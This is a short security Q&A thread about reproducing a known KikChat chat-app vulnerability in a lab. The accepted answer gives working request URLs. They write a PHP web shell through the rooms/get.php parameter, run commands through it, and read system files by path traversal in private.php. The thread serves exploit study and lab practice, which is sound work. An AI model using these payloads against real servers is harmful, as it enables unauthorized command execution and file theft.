KikChat LFI/RFI exploit code?

Question

I've been reading about PWK-Example-Report-v1.pdf on pages 7-14 and found that KikChat apps were used in the example.

Copy of the vulnerable app is available at exploit-db.

However, the actual exploit code/script is no longer there.

I was wondering what is the content of the exploit code above as I would like to reproduce a similar scenario in my lab.

The exploit-db page provides the exploit code... The PWK report shows the author using those exact lines to exploit the app. What kind of code were you looking for? — schroeder, Commented Apr 7, 2021 at 14:21

schroeder · Accepted Answer · 2021-04-07 14:19:33Z

As it can be seen on the link that you shared: https://www.exploit-db.com/exploits/30235

The vulnerability can directly exploited with simple GET requests therefore elaborated exploits are not required.

There is a RCE on /room/get.php and you need to replicate the following steps in order to create a file called shell.php that will be your web shell:

Create the file called shell.php. This file will execute the command assigned on the "cmd" GET variable :

http://127.0.0.1/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($_GET['cmd']); ?>

http://127.0.0.1/KikChat/myroom/shell.php?cmd=whoami;

There is also a LFI on the /KikChat/private.php page on the name parameter:

http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../boot.ini

1 Answer 1